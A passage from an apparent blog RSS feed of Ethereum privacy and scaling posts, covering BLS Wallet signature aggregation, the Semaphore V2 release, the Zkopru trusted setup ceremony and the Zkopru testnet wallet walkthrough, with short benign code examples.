to easily plug the moon math magic of BLS signatures directly into their code.]]> <![CDATA[ ![](https://miro.medium.com/max/1400/0*9HpuJbMoePFp4117.png) Originally published on Aug 5, 2022: [Rollups](https://ethereum.org/en/developers/docs/scaling/#rollups) are providing faster and cheaper ways to use Ethereum, but they still face a key constraint: the need to store and pay for data on layer 1. BLS Wallet uses [BLS signatures](https://en.wikipedia.org/wiki/BLS_digital_signature) for transactions, so multiple signatures can be combined into one while still being able to verify all signed transactions. By requiring one signature where many were needed before, less data needs to be stored on-chain and layer 2 (L2) solutions become even cheaper. [BLS Wallet](https://blswallet.org/) is an end-to-end system allowing wallets, dapps, and L2 nodes to easily plug the moon math magic of BLS signatures directly into their code. ## BLS Signatures: Just addition BLS signatures are a cryptographic primitive most notably used [in the Beacon Chain](https://eth2book.info/altair/part2/building_blocks/signatures) to verify large numbers of signatures. According to Vitalik Buterin, BLS signatures are actually “very simple (aside from the extreme complexity in elliptic curve pairings themselves).” Luckily, the inventors of this signature scheme (Dan Boneh, Ben Lynn and Hovav Shacham) have done that extremely complex math for us. ![](https://miro.medium.com/max/960/0*9Zu5oRJ8z66iJ2sN) Elliptic curve, from Vitalik Buterin and Justin Drake’s [presentation on BLS aggregation](https://www.youtube.com/watch?v=DpV0Hh9YajU) In optimistic rollups such as [Arbitrum](https://bridge.arbitrum.io/) and [Optimism](https://www.optimism.io/), each transaction must be accompanied by its own signature. These signatures end up being stored on layer 1 (L1) as calldata, a read-only format that’s committed as part of a transaction rather than to (much more expensive) contract storage. Storing transactions and signatures as [calldata](https://ethereum.org/en/developers/tutorials/short-abi/#main-content) is the cheapest method available for rollups to keep data on L1, but calldata costs still add up. The key property of BLS signatures is that multiple signatures can be combined into one; so instead of needing to verify each individual signature, only one aggregate signature needs to be verified and stored on-chain. For the Ethereum developer and user, less on-chain data means less gas fees. ![](https://miro.medium.com/max/1400/0*4iNGzvvqE4j8YRjs.png) Ethereum’s scalability and usability problems are being chipped away from all angles. Protocol-level changes such as [sharding](https://ethereum.org/en/upgrades/sharding/#main-content) and [EIP-4488](https://eips.ethereum.org/EIPS/eip-4488) are intended to increase data availability and reduce the cost of storing data on Ethereum. Layer 2 solutions like optimistic and zk rollups are already here, with more on the way. BLS aggregation is a powerful technique that can be used right now in combination with other efforts. By improving costs using readily available and proven cryptographic primitives, more adoption and more use cases become possible sooner rather than later. ## Storage is expensive L1 data storage is expensive and remains the main bottleneck for rollups. For the rollup to have L1 security guarantees, the rollup’s compressed state must be stored on L1, and L1 storage is the most significant cost factor. All rollups bundle multiple transactions on L2 and write the results of the transactions to L1. BLS Wallet is a means to further reduce rollup costs by enabling on-chain verification of multiple transactions via a single aggregated signature. Data and transaction signatures are aggregated from a variety of different users, wallets, and dapps that have integrated BLS Wallet, resulting in a cascade of bundled transactions. The bundling of transactions using a system like BLS Wallet has a compounding effect on reducing gas costs. The more transactions get included in a bundle, the cheaper each transaction is. In other words, more people using BLS Wallet at the same time means greater savings for each user or application. This allows [optimistic rollups](https://ethereum.org/en/developers/docs/scaling/optimistic-rollups/) to remain competitive in cost with [ZK rollups](https://ethereum.org/en/developers/docs/scaling/zk-rollups/) while still enjoying the EVM-equivalency we’ve all come to know and love. **What’s in a bundle?** BLS Wallet bundles can contain both simple transactions (“send money from account A to account B”) and more complex interactions. A single, basic L2 transaction is called an _action_. An _operation_ is an array of actions to be performed atomically, which means all actions in an operation are successfully executed or none are. Operations guarantee complex, multi-step actions can be executed without unwanted interference. Using a single operation instead of multiple separate actions means users and dapps never have to worry about partial completion of an intended function or lingering token approvals. An operation must contain the nonce of the smart contract wallet, a BLS signature, and the action(s) to be executed including the address of the smart contract to be called and the function to call. ```js const bundle = wallet.sign({ nonce: await wallet.Nonce(), // All actions in this operation are atomic actions: [ { ethValue: 0, contractAddress: erc20Contract.address, encodedFunction: erc20Contract.address.interface.encodeFunctionData( "approve", [dexContract.address, amount] ), }, { ethValue: 0, contractAddress: dexContract.address, encodedFunction: dexContract.address.interface.encodeFunctionData( "swap", [erc20Contract.address, amount, otherERC20Contract.address] ), }, ], }) ``` Example of a single operation bundle ## A better wallet Today, nearly all transactions on Ethereum begin with an [Externally Owned Account (EOA)](https://ethereum.org/en/developers/docs/accounts/), otherwise known as a standard Ethereum address, which has limited functionality. Smart contract wallets allow more flexibility for a better user experience. The main barrier to widespread smart contract wallet usage has been, to the surprise of probably no one reading this, high gas fees! Smart contract wallets are expensive to deploy and use on L1 Ethereum. However, they become practical on L2 where gas fees are lower and it is much cheaper to execute complex transactions. BLS Wallet provides the infrastructure for a smart contract wallet for EVM-compatible L2s. Besides the cheaper fees from compressed data and BLS signature aggregation, you also get other features enabled by smart contract wallets: - \*\*Gasless transactions: \*\*Developers can choose to cover the fees for users and abstract away gas costs in the process. - \*\*Account abstraction: \*\*Authorization logic of an account is decoupled from that of the protocol. - \*\*Account recovery: \*\*Recovery is implemented by nominating an address to recover from lost or compromised BLS keys. - \*\*Upgradeability: \*\*At the user’s discretion, wallets can be upgraded, ensuring they are futureproof. - \*\*Multi-action: \*\*Transactions can be grouped together, allowing dapp developers to think in terms of multi-step operations instead of single transactions. With a smart contract wallet, the user experience can be designed to feel more familiar to a non-crypto user. Instead of needing to know about contract interactions and gas fees as a prerequisite to using a dapp, users can learn about Ethereum at their own pace. ## BLS Wallet in action BLS Wallet can be thought of as a 3-part system consisting of the: 1. Client Module 2. Aggregator 3. Verification Gateway ![](https://miro.medium.com/max/1400/0*_DBEgX1Bzow-aXF0) **Client Module** The Client Module, where the first bundling of actions occurs, acts as the gateway for most users or dapps to interact with the BLS Wallet system. The Client Module provides the interface for users to generate BLS keypairs and create new smart contract wallets as well as sign transactions and operations. ![](https://miro.medium.com/max/1400/0*ausFxS5nsTaIOxkk) The BLS Client Module can be integrated into an existing wallet. With the Client Module, users and dapps can: 1. Create single or multiple actions 2. Sign action bundles with BLS signatures 3. Send signed actions to the Aggregator **Aggregator** [The Aggregator](https://github.com/web3well/bls-wallet/tree/main/aggregator) is currently a hosted off-chain server for EVM-compatible L2s. The Aggregator receives actions and operations from the Client Module and further bundles them with other actions received from other Client Modules. One bundle can contain actions and operations from a variety of Client Modules operating on behalf of multiple wallets or dapps. The Aggregator creates a single bundle, aggregates all the signatures, and further compresses the data where possible. The new aggregated and signed bundle is sent to the Verification Gateway on the L2 node. In production, the Aggregator will most likely need to be paid a fee to perform its services so each bundle will need to include a reward or incentive for the Aggregator. **Verification Gateway** The [Verification Gateway](https://github.com/web3well/bls-wallet/tree/main/contracts) is the on-chain EVM smart contract on L2. It verifies that the signatures match the correct public keys before sending the actions to the corresponding smart contract wallets for processing. Though the Verification Gateway submits one transaction on-chain, multiple contract calls can occur within that single transaction. The Verification Gateway processes transactions by: 1\. Expanding the compressed data and aggregated signatures 2\. Checking all operations and public keys against the aggregated signature to verify they are correct and matching 3\. Sending validly signed actions to the corresponding smart contract wallets to be executed one at a time on behalf of the user and dapps ## Building with BLS Wallet All of the BLS Wallet components are open source and available in the [BLS Wallet Repo](https://github.com/web3well/bls-wallet). If you’re interested in integrating BLS Wallet into a wallet or L2 project, [here](https://github.com/web3well/bls-wallet/blob/main/docs/use_bls_wallet_clients.md) is a good place to start. You can also try out Quill, a prototype BLS Wallet browser plugin. Quill generates new BLS keypairs and smart contract wallets capable of bundling multiple transactions and sending them to the Aggregator. Watch the [Quill demo](https://www.youtube.com/watch?v=MOQ3sCLP56g) presented by Kautuk at L2 Amsterdam, or [try installing it yourself](https://github.com/web3well/bls-wallet/tree/main/extension). Let us know it goes! We welcome contributions, comments and questions on [Github](https://github.com/web3well/bls-wallet/blob/main/CONTRIBUTING.md) or [Discord](https://discord.gg/Wz3NvbB8Br). ## Web3well [Web3well](https://github.com/web3well/) aims to be a neutral place for competing ecosystem teams to gather and explore how advanced features like BLS signatures can be used to achieve faster adoption and new use cases through improved usability. BLS Wallet is the primer for what we hope will be more collaborative conversations around wallets, designs and ideas. Web3well and BLS Wallet are possible thanks to the work of contributors including [James Zaki](https://github.com/jzaki) (project lead), [Jake Caban-Tomski](https://github.com/jacque006), [Kautuk Kundan](https://github.com/kautukkundan) and [Andrew Morris](https://github.com/voltrevo). ]]> bls wallet scaling rollups ethereum l2 account abstraction cryptography infrastructure/protocol security <![CDATA[Semaphore V2 is Live! - Privacy Stewards of Ethereum]]> https://pse.dev/blog/semaphore-v2-is-live-privacy-scaling-explorations https://pse.dev/blog/semaphore-v2-is-live-privacy-scaling-explorations Fri, 26 Aug 2022 00:00:00 GMT <![CDATA[We’re excited to share that [Semaphore V2](https://github.com/semaphore-protocol/semaphore/releases/tag/v2.0.0) has just been released with lots of improvements to the protocol and developer tooling, thanks to extensive contributions by [Cedoor](https://github.com/cedoor) and [Andrija Novakovic](https://github.com/akinovak).]]> <![CDATA[ ![](https://miro.medium.com/max/1250/1*GuIWf2BJoiNQ4q9Oj2snqQ.png) Originally published on Jul 6, 2022: Semaphore is a zero-knowledge protocol that lets Ethereum users prove their membership of a group and send signals such as votes or endorsements without revealing their original identity. The ability to do these two simple things anonymously opens up a world of possibilities — some of which are already being worked on, some we can’t wait to see explored and hopefully some we haven’t even thought of yet :D. Semaphore is not a user-facing application, but is designed to provide powerful and simple tools for Ethereum devs to build dapps with private credentials. It was first [proposed](https://semaphore.appliedzkp.org/whitepaper-v1.pdf) by [Kobi Gurkan](https://github.com/kobigurk), [Koh Wei Jie](https://github.com/weijiekoh) and [Barry Whitehat](https://github.com/barryWhiteHat), and [V1](https://github.com/semaphore-protocol/semaphore/tree/version/1.0.0) was released in 2019. We’re excited to share that [Semaphore V2](https://github.com/semaphore-protocol/semaphore/releases/tag/v2.0.0) has just been released with lots of improvements to the protocol and developer tooling, thanks to extensive contributions by [Cedoor](https://github.com/cedoor) and [Andrija Novakovic](https://github.com/akinovak). Contracts have been [deployed](https://semaphore.appliedzkp.org/docs/deployed-contracts) to Kovan, Goerli and Arbitrum. ## How does Semaphore work? Semaphore provides three main functions — creating private identities, adding identities to groups and sending anonymous signals. ## Identities There are several public and private values associated with a user’s identity: - **Identity trapdoor:** a secret value that can be used to derive a public value, but not vice versa — similar to how you can derive an Ethereum address from a private key, but you can’t determine the private key from the public address. - \*\*Identity nullifier: \*\*a secret value which is hashed with a public value to detect double signaling while preserving anonymity. - \*\*Identity secret: \*\*a secret value representing the user’s identity, derived by hashing together the identity trapdoor and identity nullifier. - **Identity commitment:** a public value which is a hash of the identity secret. ```js import { Identity } from "@semaphore-protocol/identity" const identity = new Identity() const trapdoor = identity.getTrapdoor() const nullifier = identity.getNullifier() const commitment = identity.generateCommitment() ``` Generating a Semaphore identity The identity trapdoor, identity nullifier and identity secret are generated by the user when they create their Semaphore identity. These values are never revealed on-chain; instead, they are used to create zero knowledge proofs so the user can prove things about themselves publicly without revealing their identity. ## Groups Groups are an important concept when we speak about privacy and zero knowledge technologies. They can be thought of as anonymity sets, and are a way to establish necessary trust between a set of participants while letting users keep control over how their identities are stored and used. In Semaphore, a “group” can mean many things. It might be people who have an account on some platform, employees of a specific company, voters in an election — essentially, any set of individuals who are eligible to participate in something. For example, you might require an email address from a particular university in order to join a group. Rather than storing that email in a database and using it to log in, tying all of their activity to their identity, a user proves only that they have the credential. There is no stored record of which email address was used. Members of the group can be confident that they are interacting with fellow students or colleagues, even though individual identities are unknown. ```js group.addMember(identityCommitment) // or group.addMembers(identityCommitments) ``` Adding members to a Semaphore group When a user joins a group, their public identity commitment is added to that group’s [Merkle tree](https://en.wikipedia.org/wiki/Merkle_tree). This lets the protocol check that the user is in the group and is therefore eligible to send signals, without seeing their identity. There’s no single approach to groups. Semaphore uses incremental binary Merkle trees, Poseidon hashes and Semaphore identity commitments as tree leaves (more on that later), but different types of Merkle trees, hash functions, or leaf values could theoretically be used. The goal is that Semaphore groups can act as a standard to improve composability and interoperability between protocols and applications in the Ethereum ecosystem. ## Signals Signals are signed messages which are broadcast on-chain. They contain an endorsement of some data, such as a vote, along with proofs that: - The user is a member of the group, i.e. the sender belongs to a valid Merkle tree - The same user created the signal and the proof. Each signal also contains a nullifier, which is a hash of the identity nullifier and a public **external nullifier**. If the nullifier has been used before, the protocol knows that the user has signaled more than once. ## New in V2 The recently-released V2 introduced a number of changes and improvements, including: - Circuits have been simplified: it is no longer necessary to have an EdDSA private key, enabling a simpler circuit and more efficient zero-knowledge proof generation. - The hash function used for identity commitments and Merkle trees moved from MiMC to Poseidon, which has some security advantages, roughly halves the proving time and improves gas efficiency. - Contracts have been modularized, giving developers more freedom to use what they need and choose between different implementation levels. - Three new JavaScript libraries were created: [Semaphore identities](https://github.com/semaphore-protocol/semaphore.js/tree/main/packages/identity), [Semaphore groups](https://github.com/semaphore-protocol/semaphore.js/tree/main/packages/group), [Zero-knowledge proofs](https://github.com/semaphore-protocol/semaphore.js/tree/main/packages/proof) - An [audit](https://semaphore.appliedzkp.org/audit-v2.pdf) of Semaphore v2 was completed in May. ## Semaphore in Action There are several apps already using Semaphore. - [Unirep](https://github.com/Unirep/Unirep) is a social media platform that uses anonymous reputation. Semaphore identities allow users to join with a unique identity, prove they’re eligible to post or give feedback, and use pseudonymous “personas” while choosing how much of their stable identity they reveal in any given interaction. - [Interep](https://interep.link/) uses zero knowledge proofs to verify reputation from an existing account such as Github or Twitter without retaining any identifying information. Users’ Semaphore identities are added to a “group” according to the strength of their imported reputation. Interep group membership can then be used as an access point for apps and services that need proof of humanity for sybil protection. - [Auti.sm](https://docs.auti.sm/) is a decentralized social network based on Ethereum and ENS. It uses Semaphore for anonymous user identities. ## What’s inside? On a more technical level, Semaphore combines **zero knowledge proofs** and **Ethereum smart contracts**. ## Proofs [Zero knowledge proofs](https://semaphore.appliedzkp.org/docs/guides/proofs) are the key to Semaphore’s ability to provide sybil- and spam-resistant private credentials. Every signal sent by a user contains proofs of the user’s group membership and the validity of the signal. Proofs are generated off-chain, and can be verified either on-chain or off-chain. ```js import { generateProof, verifyProof } from "@semaphore-protocol/proof" const externalNullifier = BigInt(1) const signal = "Hello world" const fullProof = await generateProof( identity, group, externalNullifier, signal, { zkeyFilePath: "./semaphore.zkey", wasmFilePath: "./semaphore.wasm", } ) const verificationKey = JSON.parse(fs.readFileSync("./semaphore.json", "utf-8")) await verifyProof(verificationKey, fullProof) ``` Semaphore proof The secure parameters for these proofs were generated in a t[rusted setup ceremony](https://storage.googleapis.com/trustedsetup-a86f4.appspot.com/semaphore/semaphore_top_index.html) which was recently completed with over 300 participants. ## Circuit The [circuit](https://semaphore.appliedzkp.org/docs/technical-reference/circuits) structures how the ZKP inputs and outputs are generated, hashed and verified. It has three main components: - \*\*Proof of membership: \*\*An identity commitment is generated from the hash of the identity trapdoor and identity nullifier, then verifies the membership proof against the Merkle root and identity commitment. - \*\*Nullifier hash: \*\*nullifier hashes are saved in a Semaphore smart contract, so that the smart contract itself can reject a proof with an already used nullifier hash. The circuit hashes the identity nullifier and the external nullifier, then checks that it matches the given nullifier hash. - \*\*Signal: \*\*The circuit calculates a dummy square of the signal hash to prevent any tampering with the proof; if the public input changes then verification will fail. ![](https://miro.medium.com/max/1400/0*4WjagCVrZmwHnzHF.png) Semaphore circuit ## Smart Contracts Semaphore includes three types of [contracts](https://semaphore.appliedzkp.org/docs/technical-reference/contracts): - \*\*Base contracts **provide the core functions.** \*\*\`SemaphoreCore.sol\` contains the functions to verify Semaphore proofs and to save the nullifier hash in order to avoid double signaling; \`SemaphoreGroups.sol\` contains the functions to create groups and add or remove members. - \*\*Extension contracts \*\*contain application logic for specific use-cases. \`SemaphoreVoting.sol\` contains essential functions to create polls, add voters and cast votes anonymously; \`SemaphoreWhistleblowing.sol\` contains essential functions to create entities, add whistleblowers and publish leaks anonymously. More extensions will be added in the future. - \*\*Verifier contracts \*\*verify Semaphore proofs generated with a specific tree depth. For example \`Verifier20.sol\` can verify proofs where the depth of the tree is 20, which means that the group used for those proofs can have a maximum of 2 ^20=1048576 members. A developer can choose to use a [pre-deployed verifier](https://semaphore.appliedzkp.org/docs/deployed-contracts#verifiers) or [deploy their own](https://github.com/semaphore-protocol/semaphore/tree/main/contracts/verifiers), with depth ranging from 16–32. ## What’s next? Semaphore will continue to be developed and improved over time. Some potential future directions include: Improving the developer experience: - Admin dashboard and APIs to manage zero-knowledge groups with a cloud or self-hosted infrastructure - Special contracts to allow only qualified users to join specific Semaphore groups (e.g. contract to allow only eth users with POAP to join the ‘poap’ group). - Improve current extension contracts and add new use cases. Maturing the protocol: - Investigate plonkish circuits and other proving systems - Support proof aggregation **How to get involved** Semaphore is a project by and for the Ethereum community, and we welcome all kinds of [contributions](https://github.com/semaphore-protocol#ways-to-contribute). You can find guidelines for contributing code on [this page](https://github.com/semaphore-protocol/semaphore/blob/main/CONTRIBUTING.md). If you want to experiment with Semaphore, the [Quick Setup guide](https://semaphore.appliedzkp.org/docs/quick-setup) and [Semaphore Boilerplate](https://github.com/semaphore-protocol/boilerplate) are great places to start. Feel free to [get in touch](https://t.me/joinchat/B-PQx1U3GtAh--Z4Fwo56A) with any questions or suggestions, or just to tell us about your experience! We would also love to hear from developers who are interested in integrating Semaphore into new or existing dapps. Let us know what you’re working on by [opening an issue](https://github.com/semaphore-protocol/semaphore/issues/new?assignees=&labels=documentation++%F0%9F%93%96&template=----project.md&title=), or get in touch through the Semaphore [Telegram group](https://t.me/joinchat/B-PQx1U3GtAh--Z4Fwo56A) or the [PSE Discord](https://discord.com/invite/g5YTV7HHbh). ]]> semaphore privacy zero-knowledge proofs anonymity/privacy identity ethereum cryptography infrastructure/protocol security toolkits <![CDATA[Zkopru Ceremony: Final Call and Failed Contributions]]> https://pse.dev/blog/zkopru-ceremony-final-call-and-failed-contributions https://pse.dev/blog/zkopru-ceremony-final-call-and-failed-contributions Fri, 26 Aug 2022 00:00:00 GMT <![CDATA[We will end the ceremony on Friday. It was largely a success but we had a few cases of failed contributions. If your first run didn't succeed you can now head back to our [website](https://zkopru.network/)_ to fix it]]> <![CDATA[ ![](https://miro.medium.com/max/1400/1*_TJxTYbsHsjKY_XJQhxthA.png) Our trusted ceremony for Zkopru has attracted a large number of contributors, second only to tornado.cash with their sub-minute contribution time. If you have not yet participated you can do so [here](https://zkopru.network/). As mentioned in our [previous post](https://thore-hildebrandt.medium.com/zkopru-trusted-setup-ceremony-f2824bfebb0f), we will wrap up the ceremony and announce a random beacon to seal the ceremony. But before we do that we want to make sure that everybody has a chance to add a valid contribution. We will close the ceremony for contributions on Friday April 16th 2021. ## Reasons for Failed Contributions We found three causes for failures and enabled affected accounts to do a second run on these circuits. Participants may not be aware that something went wrong in scenario 1&2 so it's worth heading to our [website](https://zkopru.network/) to see if it allows you a second run. Note that the ceremony is secure as long as at least one participant was not malicious. We provide the option for a second run to make sure no one feels censored. **1\. Conflicting Contributions**We found that most cases occurred during initial periods of high traffic when two or more contributors joined at around the same time. The rate of contribution slowed after that, and we deployed a fix. A contributor may have failures in one or more circuits, but have successful contributions in others. Only the failed contributions have been reset to allow re-run. Each contribution builds on the latest verified contribution, but in this case, both contributors built on the same one. So the contribution looks valid but doesn't appear in the verification transcript. Similar to an uncle block in Ethereum. **2\. Chaining from 0**In a small number of cases a contributor chained from contribution 0, effectively restarting the chain. These cases have also been identified and reset. The code now has a sanity check to prevent this from occurring. **3\. Timeouts**Contributions have in some cases also been excluded because of timeouts. This isby design, and happens when a contribution is taking too long and others are waiting in the queue. These cases have not been reset, unless they happen to also have been in the above set. ## Questions? Please join our [telegram channel](https://t.me/zkopru) to ask any questions and follow us on twitter [@ZkopruNetwork](http://twitter.com/ZkopruNetwork). ]]> zkopru trusted setup ceremony zero-knowledge proofs privacy cryptography ethereum security <![CDATA[ZKOPRU on Testnet - Privacy Stewards of Ethereum]]> https://pse.dev/blog/zkopru-on-testnet-privacy-scaling-explorations https://pse.dev/blog/zkopru-on-testnet-privacy-scaling-explorations Fri, 26 Aug 2022 00:00:00 GMT <![CDATA[Exciting news! ZKOPRU is now live on the Görli testnet. We show you how to use it.]]> <![CDATA[ Originally published on Nov 30, 2021: ![](https://miro.medium.com/max/1202/1*OnPLo16BKCepMHTi_CS_vg.png) ## Intro After many months of hard work we are excited to announce ZKOPRU is live on the Görli testnet 🎊. You can find the ZKOPRU contracts deployed on Görli [here](https://goerli.etherscan.io/address/0x48458c823df628f0c053b0786d4111529b9fb7b0) and the wallet UI [here](https://wallet.zkopru.network/). We will walk you through the process of depositing assets from Görli to ZKOPRU, making a private transfer on ZKOPRU and withdrawing assets from ZKOPRU to Görli. If you are building a wallet or rollup, check out the UI Research section below to find the user acceptance testing results and analysis. ## ZKOPRU tl;dr We'll give a very quick overview here, but if you don't know what ZKOPRU is or need a reminder, we highly recommend reading our previous post [ZKOPRU Wat Y & Wen](https://medium.com/privacy-scaling-explorations/ZKOPRU-wat-y-wen-f5026903cf39) before trying out the wallet. ZKOPRU is an [optimistic rollup](https://ethereum.org/en/developers/docs/scaling/layer-2-rollups/#optimistic-rollups) that uses zero knowledge proofs to make individual transfers private. Similar to Ethereum's miners or validators, rollups have coordinators that receive transactions, calculate the new state and submit data to Ethereum. ZKOPRU currently supports deposit, transfer and withdrawal of ETH and ERC-20 tokens (NFTs coming soon™). For the most part these functions work similarly to their layer 1 counterparts, but there are a few key differences from what you might be used to: - Although the initial deposit to your ZKOPRU wallet will be visible as a transaction on Ethereum, any subsequent transactions will only be visible to you and the recipient. - Rollups commit only small amounts of data to the main chain, and coordinators can submit transactions in batches, so the price per transaction is drastically lower. - ZKOPRU allows you to deposit multiple assets (ETH and another token) at the same time. - ZKOPRU addresses are _not_ the same as Ethereum addresses. When you need to receive assets to your ZKOPRU account, you'll use a ZKOPRU address generated from your connected Ethereum address. - Rollups have a 7 day delay for withdrawals back to the main chain (we're working on an instant withdrawal mechanism so users can get around this delay). ## How to use ZKOPRU ## Setup To get started with ZKOPRU, you'll need the Metamask plugin. Since it's still on testnet you'll also need some GörliETH, which you can get from the [Görli Faucet](https://faucet.goerli.mudit.blog/) or the [Paradigm MultiFaucet](https://faucet.paradigm.xyz/). > Please note that from here on, when we say ETH we are referring to GörliETH. Don't send mainnet ETH to your ZKOPRU wallet yet! Once you've got your ETH, make sure MetaMask is connected to the Görli testnet and head to the ZKOPRU [wallet](https://zkopru.network/). You'll need to connect an Ethereum account using MetaMask. Select the account you want to use and click _Next_, then _Connect_. You'll see a popup asking your permission to sync — the ZKOPRU wallet runs a client in the browser which needs to sync with the ZKOPRU network. MetaMask will prompt you to sign to unlock your ZKOPRU account and start the sync. ![](https://miro.medium.com/max/1400/0*TWLX-_TdNK0uWoR-) Syncing Zkopru The sync process could take a few minutes. Wait until the bottom left shows *Fully synced 100%. *If the site is blurred, double check if Metamask is connected to Görli. If you weren't connected to Görli you may need to refresh the page in order to start the sync. ![](https://miro.medium.com/max/1400/1*bG__U_qysCQ9xBqgrE2FtQ.png) ZKOPRU main page ## Deposit In order to start transacting on ZKOPRU, you'll need to deposit your ETH from Görli into ZKOPRU On the left side of the main page, click _Deposit_. You'll see options to deposit ETH, ERC20s or both at the same time. The deposit transaction will require some ETH for the L1 transfer and an additional fee for the coordinator. We recommend you deposit at least 0.01ETH — you'll also need it to pay coordinator fees for any ZKOPRU transactions. After confirming your transaction in MetaMask, head to the _History_ tab to check the deposit status. ![](https://miro.medium.com/max/1400/1*LY_SezdWuD4vTCsZaOYIkw.png) Depositing ## Transfer (Send & Receive) In order to make a private transfer on ZKOPRU, go to _Send,_ on the main page, enter the recipient address, select the asset and amount you want to send and enter the fee for the coordinator. Remember that the recipient's ZKOPRU address is different from the Ethereum address — the recipient can generate it by clicking _Receive_ on the ZKOPRU main page, then copy it to send to you. ![](https://miro.medium.com/max/1400/0*34CuL1JkOPxxBuYx) ZKOPRU Address ![](https://miro.medium.com/max/1400/1*JTChF3QmNF6UTWZO42CHew.png) Transfer After hitting S*end*, your transaction is relayed to the coordinator. The actual transfer can take a while if there is not a lot of activity on the network, because the coordinator has to accumulate enough transactions that the combined fees will cover the cost of submitting a batch. Since GörliETH is free you can splash it a bit and use a 2500Gwei transaction fee to help the poor coordinator submit the batch right away. We are building an instant finality mechanism to make that faster in the future :). After the transfer you will see something like this in the _My Wallet_ section: ![](https://miro.medium.com/max/634/0*Vz3tHJi4T7GddChn) This means that your available balance is currently locked until the transfer succeeds. ZKOPRU, like Bitcoin, uses the UTXO model and you can see your notes' info by hovering over the "i" next to your balance. ## Withdraw If you want your assets back on Görli, you'll need to withdraw them from ZKOPRU. Head to _Withdraw_ on the main page, select the asset you want to withdraw and enter the amount as well as the fee for the coordinator. The withdrawal will be initiated once the coordinator has enough transactions lined up to make submission of the batch economical (this can be a few hours). Unlike a transfer, you won't be able to meaningfully speed up the withdrawal via a higher transaction fee. ZKOPRU, like other optimistic rollups, requires a 7 day delay period for withdrawals. So even if you pay enough to incentivize the coordinator to submit the batch a few minutes sooner, you'll still have to wait 7 days for your assets to be available. This delay serves an important security function, but it's a UX annoyance — we're also working on an instant withdrawal mechanism so you'll have options to get around the withdrawal delay in the future. ![](https://miro.medium.com/max/1400/0*Jdkh8xVV1w2s3TjF) ## UI Research Rachel, our awesome designer, has conducted user acceptance testing with users who don't work in crypto. Users with varying levels of crypto knowledge were asked to complete tasks like adding and withdrawing assets, and describe their experience and impressions. It was especially interesting to hear our users' first reactions to features we're excited about, like multi-asset deposits — a good reminder that a new feature is also a new experience for a user, and it's our job to get them oriented so they can be as excited about it as we are. You can find the report [here](https://github.com/zkopru-network/resources/tree/main/ui-ux/wallet). We hope it will be useful for others working on similar design challenges! ## Conclusion ZKOPRU is on testnet! Now [go ahead and make some GörliETH private](https://zkopru.network/wallet). If everything goes smoothly for a few weeks on testnet, we will cut an official release. Stay tuned for the next post, where we will explain more details on how to run a coordinator and how ZKOPRU can be deployed to mainnet. If you are interested in learning more about ZKOPRU check out our [Twitter](https://twitter.com/zkoprunetwork), [Medium](https://medium.com/privacy-scaling-explorations) and [documentation](https://docs.zkopru.network/). Join our brand new [Discord](http://discord.gg/vchXmtWK5Z) and please report any bugs and issues there. Contributors are welcome — see our [good first issues](https://github.com/zkopru-network/zkopru/labels/good%20first%20issue) on Github. ]]> zkopru privacy scaling zero-knowledge proofs l2 optimistic rollup transaction privacy ethereum wallets infrastructure/protocol <![CDATA[Zkopru Trusted Setup Ceremony]]> https://pse.dev/blog/zkopru-trusted-setup-ceremony https://pse.dev/blog/zkopru-trusted-setup-ceremony Fri, 26 Aug 2022 00:00:00 GMT <![CDATA[Use this link to participate in the trusted setup (on a desktop, mobile isn't recommended): [https://mpc.zkopru.network/](https://mpc.zkopru.network/)]]> <![CDATA[ _Originally posted on Mar 26, 2021:_ We are excited to announce that the trusted setup ceremony for Zkopru has been launched. ## What is Zkopru? ![](https://miro.medium.com/max/1400/1*CR-P2g6fjWIFtgmqtUdUvA.png) Zkopru, pronounced \[zikopru\], is short for zk-optimistic-rollup. It's a novel layer-2 scaling solution that allows for cheap private transactions. It uses optimistic rollup to scale and zk-SNARKs for privacy. Zkopru supports private transfers and private atomic swaps between ETH, ERC20, ERC721 at low cost. It also provides instant withdrawals via the pay-in-advance feature and compliance compatibility using spending key and viewing keys. See Wanseob [presenting](https://www.youtube.com/watch?v=443EZ0ndaio) the project on zkSummit and check out the Zkopru [website](https://zkopru.network/). You can also dive deeper in the original [ethresear.ch](https://ethresear.ch/t/zkopru-zk-optimistic-rollup-for-private-transactions/7717) post. We have just completed an audit with Least Authority and the next step is to conduct a trusted setup. ## Why a trusted setup? Zkopru relies on a number of different SNARKs and each requires a trusted setup which ensures that no one is able to fake proofs and steal user funds or compromise privacy. The setup is performed in such a way that, to fake a proof, an attacker must compromise every single participant of the ceremony. Therefore, the security goes up with the number of participants. ## How exactly does the setup work? Our trusted setup is done in 2 steps. The first step is already completed and is called Perpetual Powers of Tau. It's an ongoing effort led by Wei Jie of the Ethereum Foundation. We are using the output of Iden3's [selection process](https://blog.hermez.io/hermez-zero-knowledge-proofs/) based on the [54th](https://github.com/weijiekoh/perpetualpowersoftau) Perpetual Powers of Tau contribution. The second step is called Phase 2 and is circuit-specific, so it should be done separately for each different SNARK. This is what you participate in here. ## How to participate? It is very simple! 1. Open the link to our ceremony website: [https://mpc.zkopru.network/](https://mpc.zkopru.network/). 2. Log in with your Github account. You can only participate once with your Github account. ![](https://miro.medium.com/max/736/1*4lc66pyFeyeFxR56FWlaZQ.png) Click Login 3\. Click on "Launch Ceremony". ![](https://miro.medium.com/max/942/1*gYzc5NI17iFZ1FK3wLIqSQ.png) Click Launch Ceremony 4\. You will contribute to 16 circuits some of them take (much) longer than others. Particiants are queued and if someone is in front of you, you will be put in a line, just wait. ![](https://miro.medium.com/max/1352/1*_XiuefrTja0DCjTrz9PhPA.png) 5\. While the ceremony is running please don't close or refresh the site (you can switch browser tabs) otherwise your contribution will be aborted. The process should take 30–50 mins. Once the ceremony is completed you can tweet about your participation to spread the word and make Zkopru more secure. ![](https://miro.medium.com/max/1216/1*BDUciwbSPkjDo-LqdLEzNw.png) Wait until you see this ## Troubleshooting If the twitter button doesnt show up in your browser you can try this: Refresh > Menu >Logout, then Login, and launch again. It won't run any circuits, but it might pick up your hashes and allow you to tweet. Your browser might go blank, you can just refresh and restart, it will pick up where you left. You dont see your contribution hash for any or all circuits? In that case something went wrong and your contribution was discarded. We will give any participant with failed contributions a second chance. Encountering any issues? Let us know in the Zkopru telegram group. ## How to verify? After your participation you will be presented with a contribution hash. We will make the files available to download and you will be able to verify your contribution (see more info [here](https://github.com/glamperd/setup-mpc-ui#verifying-the-ceremony-files)). You can also contribute via CLI if you want more control, ask about it in our [telegram](https://t.me/zkopru) group. ## Whats the time line? The ceremony will run for at least 2 weeks from now on. Once we have enough contributions we will announce a public random beacon for the last contribution. ## Want to learn more? Source code for the ceremony is 